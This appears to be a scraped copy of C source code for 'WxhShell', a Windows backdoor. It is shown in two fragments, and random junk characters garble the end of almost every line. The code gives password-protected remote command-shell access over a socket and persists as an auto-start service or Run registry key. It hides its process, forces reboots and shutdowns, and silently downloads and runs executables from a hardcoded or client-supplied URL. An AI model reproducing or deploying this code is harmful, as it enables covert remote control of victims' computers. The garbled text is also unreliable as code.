    if(Boot(SHUTDOWN)) 9hpM*wt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6[7k}9`alz  
    else { sR nMBW.  
    closesocket(wsh); ,Yz+?SmSZ&  
    ExitThread(0); OUMr}~/  
    } 11+_OC2-   
    break; x*V<afLY[  
    } NWj@iyi<  
  // 获取shell )Cfrqe1^  
  case 's': { 4/_|Qy  
    CmdShell(wsh); BT0hx!Ti  
    closesocket(wsh); 4f,x@:Jw  
    ExitThread(0); (P8oXb+%  
    break; "KwKO8f  
  } 5!*a,$S  
  // 退出 UlytxWkUX  
  case 'x': { *h6i9V%'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )FPbE^s(  
    CloseIt(wsh); 49GCj`As  
    break; k =_@1b-  
    } {Wo7=aR  
  // 离开 &.B6P|N'  
  case 'q': { p60D{UzU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k6S<46}h|  
    closesocket(wsh); pT tX[CE  
    WSACleanup();  qI@_  
    exit(1); U)8]pUI+/P  
    break; 2O/_hv.  
        } _#B/# ^a  
  } C"<@EMU9  
  } 9v0|lS!-  
W[s>TDc`v  
  // 提示信息 B?Skw{&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H=C;g)R  
} @35 shLs  
  } 63=m11 Z4  
lfP|+=^B  
  return; I "4B1g  
} IIkJ"Qg.  
|e\%pfZ   
// shell模块句柄 #C^m>o~R  
int CmdShell(SOCKET sock) $!Tw`O  
{  %3j5Q   
STARTUPINFO si; 9K!='u`  
ZeroMemory(&si,sizeof(si)); @AOiZOH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZI7<E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \ 714Pyy  
PROCESS_INFORMATION ProcessInfo; _rd{cvdR  
char cmdline[]="cmd"; "RLb wm~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CCV~nf  
  return 0; {QID@  
} d/1XL[&  
Cx[4 /~_<  
// 自身启动模式 kns]P<g  
int StartFromService(void) %L3]l  
{ 8*wI^*Q  
typedef struct eAMT72_  
{ / <p HDY  
  DWORD ExitStatus; )T?ryp3ev  
  DWORD PebBaseAddress; @^O ww(I  
  DWORD AffinityMask; s><co]  
  DWORD BasePriority; YbKW;L&Ff  
  ULONG UniqueProcessId; bb{+  
  ULONG InheritedFromUniqueProcessId; _Gu ;U@  
}   PROCESS_BASIC_INFORMATION; 9[`6f8S_$  
rzu^br9X  
PROCNTQSIP NtQueryInformationProcess; !T*izMX}  
{/ta1&xyG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %[J( ,rm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cc[w%jlA#  
V~;YV]1Y  
  HANDLE             hProcess; *D,T}N  
  PROCESS_BASIC_INFORMATION pbi; H< j+-u4b  
a;K:~R+@,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tz,FK;8  
  if(NULL == hInst ) return 0; P]n ' q  
k{~5pxd-t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nFqMS|EN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5 F-Q&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x?3p3[y  
}49?Z3  
  if (!NtQueryInformationProcess) return 0; pfT7  
gP3[=a"\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Rdi"{.wI  
  if(!hProcess) return 0; X\;y;pmRH  
/SiQw7yp%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?CIa)dhu  
CVm*Q[5s"  
  CloseHandle(hProcess); |s:!LU&OL\  
Sz =z TPnO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7% h Mf$KQ  
if(hProcess==NULL) return 0; y.zW>Mfl  
\21!NPXH2  
HMODULE hMod; WI%,m~  
char procName[255]; 6vDgM fw  
unsigned long cbNeeded; V|7 c dX#H  
 ZM"t.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?^dyQhb  
>(3 y(1;  
  CloseHandle(hProcess); e*tOXXY1  
m*1=-" P  
if(strstr(procName,"services")) return 1; // 以服务启动 x-[l`k.V  
BEw(SQH  
  return 0; // 注册表启动 ^dro*a,  
} %EuSP0  
di|l?l^l  
// 主模块 &:rf80`z.  
int StartWxhshell(LPSTR lpCmdLine) ){v nmJJ%  
{ n'SnqJ&}  
  SOCKET wsl; x`4">:IA  
BOOL val=TRUE; >1YJETysO  
  int port=0; ` sSI;+  
  struct sockaddr_in door; > B==*,|  
V[~/sc )  
  if(wscfg.ws_autoins) Install(); .A E(D7d6  
y&UsSS  
port=atoi(lpCmdLine); gD-<^Q-  
dI`b AP;\  
if(port<=0) port=wscfg.ws_port; L!\I>a5C0G  
,ecFHkT>  
  WSADATA data; $(BW |Pc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -0Ps. B  
=oBV.BST u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HJDM\j*5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kxh $R>  
  door.sin_family = AF_INET; zFlW\wc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LVX.stN#p  
  door.sin_port = htons(port); /)j:Y:5  
%k9GoX_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ay[6rUO  
closesocket(wsl); flRok?iF  
return 1; 06ZyR@.@v  
} 6]M(ElV1H  
l2i[wc"9  
  if(listen(wsl,2) == INVALID_SOCKET) { @,$>H 7o  
closesocket(wsl); p~qdkA<  
return 1; svN& ~@ l  
}  eGjEO&$  
  Wxhshell(wsl); 1jDN=hIl  
  WSACleanup(); F.4xi+S_  
`j9 ;9^  
return 0; !IcP O  
o!:   
} W;Ct[Y 8m  
W2'u]1bs  
// 以NT服务方式启动 m;'ebkq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U&GSMjqg  
{ EjrK.|I0  
DWORD   status = 0; + JsMYv  
  DWORD   specificError = 0xfffffff; vr"O9L w  
Ko: <@h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dr)B0]KG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;ry~x:7L7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <v%Q|r  
  serviceStatus.dwWin32ExitCode     = 0; Phr+L9Eog  
  serviceStatus.dwServiceSpecificExitCode = 0; Fsz;T;  
  serviceStatus.dwCheckPoint       = 0; G0)}?5L1J  
  serviceStatus.dwWaitHint       = 0; &sJ-&7YZ  
Qhy!:\&1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Y:V&4DW  
  if (hServiceStatusHandle==0) return; 7v't# =  
g%TOYZr!X  
status = GetLastError(); a]]eQ(xQ  
  if (status!=NO_ERROR) }]<0!q &xB  
{ Ir#]p9:x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }p5_JXBV  
    serviceStatus.dwCheckPoint       = 0; F JCs$0  
    serviceStatus.dwWaitHint       = 0; $t0o*i{  
    serviceStatus.dwWin32ExitCode     = status; 0fu*}v"  
    serviceStatus.dwServiceSpecificExitCode = specificError; >e>%AMzo[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rny(8z%Ck-  
    return; R"W5R-  
  } "zj[v1K9-A  
}k;wSp[3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S#kYPe  
  serviceStatus.dwCheckPoint       = 0; KT[ZOtu  
  serviceStatus.dwWaitHint       = 0; ,<k%'a!B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z^vfha  
} BMug7xl"  
PzOnS   
// 处理NT服务事件,比如:启动、停止 ml@;ngmp.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =WT&unw}  
{ __!LTpp  
switch(fdwControl) F42<9)I  
{ >dx/k)~~-L  
case SERVICE_CONTROL_STOP: AXF 1{  
  serviceStatus.dwWin32ExitCode = 0; @Bds0t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 60;_^v  
  serviceStatus.dwCheckPoint   = 0; :{+~i.*  
  serviceStatus.dwWaitHint     = 0; p4V*%A&w  
  { wx^Det  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =p^$>o  
  } d a<>a  
  return; T*:w1*:  
case SERVICE_CONTROL_PAUSE: ?VlGTMaS+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C~egF=w  
  break; ,OWk[0/  
case SERVICE_CONTROL_CONTINUE: O}>@G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >"8;8Ev  
  break; 4GbfA .u  
case SERVICE_CONTROL_INTERROGATE: ;plBo%EBV  
  break; (<YBvpt4>  
}; EB| iW2'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M!+J[q  
} P0yDL:X[  
}4p)UX>aWT  
// 标准应用程序主函数 l]4=W<N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VwpC UW  
{ cI P.5)Ca  
D'<L6w`  
// 获取操作系统版本 D6A u)1y=&  
OsIsNt=GetOsVer(); ;89kL]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yUj`vu 2  
i,h30J  
  // 从命令行安装 Lo3N)~5  
  if(strpbrk(lpCmdLine,"iI")) Install(); OHi.5 (  
b3EGtC}^  
  // 下载执行文件 }[Z'Sg]s  
if(wscfg.ws_downexe) { -=nk,cYn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9v_s_QkL2  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]f#s`.A~  
} 4^uSW&`;/  
yfK}1mx)j  
if(!OsIsNt) { s EFQ8S  
// 如果时win9x,隐藏进程并且设置为注册表启动 jB(+9?;1${  
HideProc(); Qn7T{ BW  
StartWxhshell(lpCmdLine); g]lEG>y1R  
} ._^}M<o L  
else ?OLd }8y  
  if(StartFromService()) &EqLF  
  // 以服务方式启动 R|n  
  StartServiceCtrlDispatcher(DispatchTable); =nHKTB>  
else 9T;4aP>6j#  
  // 普通方式启动 kzKej"a;  
  StartWxhshell(lpCmdLine); `*Yw-HL  
gYD1A\  
return 0; _8a;5hS  
} &J)<1!|  
iqvLu{  
(iX8YP$%  
W}f)VC;D  
=========================================== l::q F 0  
o5bp~.m<  
EY)2,  
T9 /;$6s*  
\IE![=p\w  
m,lZy#02s3  
" eAfi!!Z<  
{1)A"lQu  
#include <stdio.h> >\d&LLAe  
#include <string.h> h+}BtKA  
#include <windows.h> <{isWEW9]3  
#include <winsock2.h> iM@$uD$_Q2  
#include <winsvc.h> au{) 5W4~  
#include <urlmon.h> '{"Rjv7  
$D1ha CL  
#pragma comment (lib, "Ws2_32.lib") UDHWl_%L  
#pragma comment (lib, "urlmon.lib") 1uAjy(y  
:~otzI4%!  
#define MAX_USER   100 // 最大客户端连接数 wb0$FZzh  
#define BUF_SOCK   200 // sock buffer R9U{r.AA  
#define KEY_BUFF   255 // 输入 buffer hZx&j{  
iApq!u,  
#define REBOOT     0   // 重启 _~z oMdT!  
#define SHUTDOWN   1   // 关机 } ?j5V  
e$J>z {  
#define DEF_PORT   5000 // 监听端口 |-Uh3WUE6  
J!2Z9<q5  
#define REG_LEN     16   // 注册表键长度 i>YS%&O?  
#define SVC_LEN     80   // NT服务名长度 \rS*\g:i  
!;eE7xn&  
// 从dll定义API ,^:{!?v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =rA?,74  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gQ_<;'m)2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h[W`P%xZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hzo> :U  
AS7L  
// wxhshell配置信息 >Zb!?ntN`t  
struct WSCFG { { ADd[V  
  int ws_port;         // 监听端口 50cVS)hG6d  
  char ws_passstr[REG_LEN]; // 口令 PVIOe}N  
  int ws_autoins;       // 安装标记, 1=yes 0=no tF:AnNp=  
  char ws_regname[REG_LEN]; // 注册表键名  6:zPWJB  
  char ws_svcname[REG_LEN]; // 服务名 lq-KM8j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,8e'<y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0P$1=oK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rfqwxr45h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MgeC-XQM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /j~~S'sw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 csy6_q(  
]SQ+r*a  
}; g(@F`W[  
yaR>?[h  
// default Wxhshell configuration ZSuoD$~k[  
struct WSCFG wscfg={DEF_PORT, *ERV\/  
    "xuhuanlingzhe", ,b*?7R  
    1, cYA:k  
    "Wxhshell", bf_ > ?F^  
    "Wxhshell", ZC?~RXL(  
            "WxhShell Service", Uu_qy(4  
    "Wrsky Windows CmdShell Service", &<t%u[3  
    "Please Input Your Password: ", Z[#8F&QV!m  
  1, $gl|^c\  
  "http://www.wrsky.com/wxhshell.exe", /HdXJL9B  
  "Wxhshell.exe" %g9y m@s  
    }; @Tu`0 =8  
9<gW~ s>  
// 消息定义模块 ~O}r<PQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?MH=8Cl1w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A%^?z.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y!b"Cj  
char *msg_ws_ext="\n\rExit."; k-~}KlP  
char *msg_ws_end="\n\rQuit."; &]TniQH  
char *msg_ws_boot="\n\rReboot..."; Qw0k-t0=4  
char *msg_ws_poff="\n\rShutdown..."; Ti? "Hr<W  
char *msg_ws_down="\n\rSave to "; xm{?h,U,  
hkPMu@BI  
char *msg_ws_err="\n\rErr!"; V D#q\  
char *msg_ws_ok="\n\rOK!"; K*:=d }^  
R>bg3j  
char ExeFile[MAX_PATH]; iHv+I~/  
int nUser = 0; {,Z|8@Sl%  
HANDLE handles[MAX_USER]; zZMKgFR@  
int OsIsNt; RvR.t"8  
?8O5%IrJ  
SERVICE_STATUS       serviceStatus; ^&;,n.X5Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3eUi9_s+  
/we]i1-9  
// 函数声明 -8)Hulo/{U  
int Install(void); n.l#(`($4  
int Uninstall(void); JZ}zXv   
int DownloadFile(char *sURL, SOCKET wsh); ,a>Dv@$Y  
int Boot(int flag); }XUL\6U  
void HideProc(void); ;MQl.?vj  
int GetOsVer(void); Xm,fyk>  
int Wxhshell(SOCKET wsl); Tgpu9V6  
void TalkWithClient(void *cs); 2*sTU  
int CmdShell(SOCKET sock); Y2VfJ}%Q  
int StartFromService(void); oaj.5hM  
int StartWxhshell(LPSTR lpCmdLine); ;L$ -_Z  
Z(q]rX5"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y{M7kYWtHV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?GX@&_  
>~ *wPoW  
// 数据结构和表定义 f}yRTR GJv  
SERVICE_TABLE_ENTRY DispatchTable[] = !Ge;f/@  
{ jTS8 qu  
{wscfg.ws_svcname, NTServiceMain}, .c>6}:ye  
{NULL, NULL} ?n# $y@U  
}; Ko&4{}/  
W$X/8K bn  
// 自我安装 <zpxodM@T  
int Install(void) <<-L,0  
{ %<^^ Mw  
  char svExeFile[MAX_PATH]; Ab[o~X"  
  HKEY key; TFOx=_.%i  
  strcpy(svExeFile,ExeFile); 1Xi>&;],  
 3*Q=)}  
// 如果是win9x系统,修改注册表设为自启动 &yP|t":HWX  
if(!OsIsNt) { 8GBKFNR 8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fa h6 &a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8d$|JN;)  
  RegCloseKey(key); a;bmlV04  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :2KPvp 7?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mxEe -q  
  RegCloseKey(key); f:46.)W j<  
  return 0; z 8M\(<  
    } V0D&bN*  
  } UB+~K/  
} dG+$!*6Z  
else { 5=*i!c _m  
VsTgK  
// 如果是NT以上系统,安装为系统服务 'C}ku>B_r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |(l]Xr&O  
if (schSCManager!=0) Y'000#+  
{ lV:feX  
  SC_HANDLE schService = CreateService Wtaz@ +  
  ( 8g:VfzaHu  
  schSCManager, ^>%.l'1/(  
  wscfg.ws_svcname, @-K[@e/uwy  
  wscfg.ws_svcdisp, i+5Qs-dHA  
  SERVICE_ALL_ACCESS, %7 -(c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , //N="9)@  
  SERVICE_AUTO_START, NA$)qX_  
  SERVICE_ERROR_NORMAL, tJ_Y6oFm=  
  svExeFile, KaMg [ G  
  NULL, M]X!D7  
  NULL, /pkN=OBR  
  NULL, >VZxDJ$R  
  NULL, Q_p&~PNy5  
  NULL v6DjNyg<x  
  ); uO]|YF  
  if (schService!=0) /tG as  
  { q{G8 Po$z'  
  CloseServiceHandle(schService); gFuK/]gzI  
  CloseServiceHandle(schSCManager); q_ ^yma  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kg~D~ +j  
  strcat(svExeFile,wscfg.ws_svcname); A",}Ikh='`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P c&dU1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z,AY<[/C  
  RegCloseKey(key); q{}5wM  
  return 0; FO(QsR=\s  
    } zOA~<fhT  
  } }|/A &c  
  CloseServiceHandle(schSCManager); :FU?vh$)  
} MCTJ^g"D  
} s>G]U)d<'  
T^MY w  
return 1; ,_H H8[&  
} oCE'@}s.i  
&b^_~hB:q  
// 自我卸载 \VEnP=*:W  
int Uninstall(void) x6JV@wA&  
{ l'Za"TL:  
  HKEY key;  |15!D  
I)#8}[vK  
if(!OsIsNt) { yogL8V-^4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4D n&+=fq  
  RegDeleteValue(key,wscfg.ws_regname); @1xVWSF  
  RegCloseKey(key); ^HR8.9^[1u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "y*3p0E  
  RegDeleteValue(key,wscfg.ws_regname); lijT L-3  
  RegCloseKey(key); 6ERMn"[_w  
  return 0; *k#"@  
  } #>KiX84  
} 2<OU)rVE4  
} fsK=]~<g  
else { @=AQr4&  
LKI\(%ba#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R=a4zVQ  
if (schSCManager!=0) ^Os }sJ*5S  
{ UkD\ma  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bJ 6ivz  
  if (schService!=0) 451.VI}MR  
  { |S).,B  
  if(DeleteService(schService)!=0) { wmVb0~[  
  CloseServiceHandle(schService); MYb^G\K  
  CloseServiceHandle(schSCManager); iex%$> "  
  return 0; x ~)~v?>T  
  } aY,Bt  
  CloseServiceHandle(schService); &R.5t/x_  
  } #r"|%nOfY  
  CloseServiceHandle(schSCManager); _3%:m||,XP  
} !hfpa_5  
} )lt1I\n*k  
(||qFu9a  
return 1; QGOkB  
} ~.G$0IJY  
1k:yU(  
// 从指定url下载文件 re%XaL  
int DownloadFile(char *sURL, SOCKET wsh) #6#n4`%ER  
{ r{d@74  
  HRESULT hr; *) B \M>  
char seps[]= "/"; rxMo7px@}I  
char *token; TlyBpG=p  
char *file; VfJ{);   
char myURL[MAX_PATH]; >oyf i:  
char myFILE[MAX_PATH]; t@#5 G* _Q  
s}Go")p<:  
strcpy(myURL,sURL); UE5,Ml~X  
  token=strtok(myURL,seps); DFZ@q=ZT  
  while(token!=NULL) (ot56`,k  
  { `EMGrw_  
    file=token; d)biMI}<5  
  token=strtok(NULL,seps); z<!A;.iD  
  } BcpbS%S  
xWa[qCr  
GetCurrentDirectory(MAX_PATH,myFILE); D5Sbs(  
strcat(myFILE, "\\"); dVMl;{  
strcat(myFILE, file); jCtk3No  
  send(wsh,myFILE,strlen(myFILE),0); ]Z\W%'q+  
send(wsh,"...",3,0); +,R!el!o~u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _(gkYJ+MK  
  if(hr==S_OK) "WGKwi=W  
return 0; :O@n6%pSL  
else {_.(,Z{  
return 1; X1}M_h %  
p(I^Y{sGI  
} yyu-y0_  
gU&+^e >  
// 系统电源模块 =Oh$pZRymu  
int Boot(int flag) (O09HY:  
{ 3I}AA.h'00  
  HANDLE hToken; v_%6Ly  
  TOKEN_PRIVILEGES tkp; qA!4\v={  
0^J%&1aIc  
  if(OsIsNt) { =z9,=rR4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ./7-[d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rDwd!Jet  
    tkp.PrivilegeCount = 1; zCA8}](C^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $(0<T<\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @|ZUyat  
if(flag==REBOOT) { q0>9T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Citumc)E  
  return 0; 5lzbg   
} N`N=}&v ]  
else { F+R1}5-3cl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8,+T[S  
  return 0; d@*dbECG  
} RB""(<  
  } B$JPE7h@[P  
  else { ^hEN  
if(flag==REBOOT) { 75R4[C6T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @pv:uON\  
  return 0; /M]P&Zb |  
} !(Y|Vm'   
else { L&NpC&>wD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q |Pebe=  
  return 0; d@JavcR  
} ~PF,[$?4n  
} 13 JG[,w  
JDnWBEV  
return 1; Lnn^j#n  
} G;t< dJ8  
t*BCpC }  
// win9x进程隐藏模块 fIx|0,D&7L  
void HideProc(void) O7Jp ;  
{ @*op5qVw  
;Cx`RF w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T72Z<h|<  
  if ( hKernel != NULL ) A~?)g!tS<  
  { pG* W>F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V+0pvgS[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ug gg!zA  
    FreeLibrary(hKernel); {}" <  
  } *E|3Vy{4  
(l2n%LL]*  
return; <Z]j89wzDZ  
} $'*{&/@  
0_^3 |n  
// 获取操作系统版本 UY.o,I> s  
int GetOsVer(void) ph2 _P[S'  
{ KV{  
  OSVERSIONINFO winfo; <Fl.W}?Q}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ix=(f0|  
  GetVersionEx(&winfo); yG#x*\9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JGzEm>_ m  
  return 1; Jl6biJx  
  else Esj1Vv#  
  return 0; \Y:zg3q*  
} R >[G6LOG  
q8e]{sT'!  
// 客户端句柄模块 ?LvxEQ-g  
int Wxhshell(SOCKET wsl) +H? XqSC  
{ K7qR  
  SOCKET wsh; h2+"e# _  
  struct sockaddr_in client; KlwB oC/{K  
  DWORD myID; !*"#*)S.  
!Xq5r8]  
  while(nUser<MAX_USER) _t X1z ^  
{ VjiwW%UOM  
  int nSize=sizeof(client); ?%Pi#%P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eM7 F8j  
  if(wsh==INVALID_SOCKET) return 1; x+Ly,9nc$  
bSTTr<W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); shY8h   
if(handles[nUser]==0) 3?&P^{  
  closesocket(wsh); ronZa0  
else H,!yG5yF  
  nUser++; 8*]dA ft  
  } | gGD3H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W>u$x=<T  
7<5=fYb r  
  return 0; B-$ps=G+z  
} ?IiFFfs  
P$/Y9o  
// 关闭 socket G$lE0_j2{  
void CloseIt(SOCKET wsh) yW}x  
{ ~^g*cA t}  
closesocket(wsh); p<RIvSqM  
nUser--; j  W -K  
ExitThread(0); Oj7).U0;#  
} T<0V ^B7  
> mP([]  
// 客户端请求句柄 <+<,$jGC-  
void TalkWithClient(void *cs) Ige*tOv2  
{ SXV f&8  
+DSZ(Zb4qY  
  SOCKET wsh=(SOCKET)cs; qi1#s,  
  char pwd[SVC_LEN]; 3`njQvI\  
  char cmd[KEY_BUFF]; pvM`j86 _  
char chr[1]; 1L _(n  
int i,j; 2$joM`j$  
^QTkre  
  while (nUser < MAX_USER) { ~/Kqkhq+c  
RXhT{Ho(>  
if(wscfg.ws_passstr) { P#2#i]-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @.v{hkM`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Jq~39  
  //ZeroMemory(pwd,KEY_BUFF); #\O?|bN'q  
      i=0; *iVv(xXgN  
  while(i<SVC_LEN) { 0&6(y* #Z  
p xQh;w  
  // 设置超时 g+ cH  
  fd_set FdRead; \'P79=AU  
  struct timeval TimeOut; =#?=Lh  
  FD_ZERO(&FdRead); {MmK:C  
  FD_SET(wsh,&FdRead); CN#2-[T  
  TimeOut.tv_sec=8; %T~LK=m  
  TimeOut.tv_usec=0; $&0\BvS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N8`q.;qewz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X0]5I0YP  
"l-b(8n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [F^j(qTR  
  pwd=chr[0]; &jF[f4:7  
  if(chr[0]==0xd || chr[0]==0xa) { .:TSdusr~  
  pwd=0;  \.MPjD  
  break; esHcE{GNOS  
  } (fC U+  
  i++; NYF 7Ep; _  
    } PA${<wyBR_  
7V;wCm#b  
  // 如果是非法用户,关闭 socket \7tJ)[0aF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8F T@TUFb  
} KA]5tVQA  
x`zE#sD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K]Z];C#)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NGuRyZp69&  
_!E/ em  
while(1) { bBXUD;$  
j{H,{x  
  ZeroMemory(cmd,KEY_BUFF); .Gnzu"lod  
E>x,$w<?  
      // 自动支持客户端 telnet标准   4k=LVu]Kcr  
  j=0; 7! #34ue  
  while(j<KEY_BUFF) { 4*_.m9{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9':MD0P/M  
  cmd[j]=chr[0]; #TG.weTC  
  if(chr[0]==0xa || chr[0]==0xd) { 0D^c4[Y'l  
  cmd[j]=0; ]dQ  
  break; IM&l%6[).  
  } ,Q>wcE6v  
  j++; }Uunlz<  
    } '&Tq/;Ml  
ynG@/S6)K  
  // 下载文件 &s_)|K  
  if(strstr(cmd,"http://")) { sWX\/Iyy2p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LP5@ID2G  
  if(DownloadFile(cmd,wsh)) _If:~mIs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ./E<v  
  else =F90SyzTy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jL9to6 Hmr  
  } {N 0i 3e s  
  else { X,i^OM_  
QAKA3{-(  
